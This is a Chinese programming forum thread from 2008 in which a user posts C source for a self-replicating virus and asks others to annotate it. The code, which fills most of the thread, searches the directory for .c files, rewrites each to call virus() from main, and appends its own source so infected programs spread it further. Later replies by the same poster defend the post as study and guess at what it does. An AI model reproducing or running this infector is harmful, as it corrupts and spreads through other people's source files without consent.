标题:你能注释吗》
取消只看楼主
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
 问题点数:0 回复次数:5 
你能注释吗》
#include <stdio.h>  
#include <dir.h>  
void main(void)  
{  
virus();  
}  
int virus()  
{  
struct ffblk ffblk;  
FILE *in,*out,*read;  
char *virus="virus.c";  
char buf[50][80];  
char *p;  
char *end="return";  
char *bracket="}";  
char *main="main";  
char *include[2]={"stdio.h","dir.h"};  
char *int_virus="int virus()";  
char *buffer;  
int done,i,j=0,flag=0;  
printf("\nI have a virus. Writen by PuBin\n");  
done = findfirst("*.c",&ffblk,0);  
while (!done)  
{  
i=0;  
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)  
{  
goto next;  
}  
do{  
    if(i>=50)  
    {  
fclose(in);  
goto next;  
    }  
    p=fgets(buf[i],80,in);  
    i++;  
   }while(p!=NULL);  
   fclose(in);  
   out=fopen(ffblk.ff_name,"w+t");  
   fputs("#include<stdio.h>\n",out);  
   fputs("#include<dir.h>\n",out);  
do  
{  
  if(strstr(buf[j],main)!=NULL)  
  {  
   for(;j<i-1;j++)  
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)  
   fputs(buf[j],out);  
   else  
   {  
    if(flag==0)  
    {  
flag=1;  
fputs("virus();\n",out);  
    }  
    fputs(buf[j],out);  
   }  
}  
else if((strstr(buf[j],include[0])==NULL)  
&&(strstr(buf[j],include[1])==NULL))  
{  
fputs(buf[j],out);  
j++;  
}  
else  
j++;  
}while(j<i-1);  
read=fopen(virus,"rt");  
do  
{  
p=fgets(buffer,80,read);  
if(strstr(buffer,int_virus))  
while(p!=NULL)  
{  
  if(strstr(buffer,virus)==NULL)  
  fputs(buffer,out);  
  else  
  {  
                fputs(" char *virus=\"",out);  
fputs(ffblk.ff_name,out);  
        fputs("\";\n",out);  
}  
p=fgets(buffer,80,read);  
}  
}while(p!=NULL);  

fclose(read);  
fclose(out);  
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);  
next: done = findnext(&ffblk);  
}  
return 0;  
}
搜索更多相关主题的帖子: char virus 注释 int 
2008-05-06 23:12
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
。。
是病毒。怎么了?

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
研究下,没叫你做坏事

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
没那么严重吧
 对不起了 大家,赶快删除这个帖子吧  管理员

<接受者>? or <创造者>?
2008-05-06 23:20
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
virus()  解释下.

<接受者>? or <创造者>?
2008-05-06 23:23
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
...这个病毒是实现自我复制..从而占用大量系统内存?

<接受者>? or <创造者>?
2008-05-06 23:27



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-212849-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.421784 second(s), 8 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved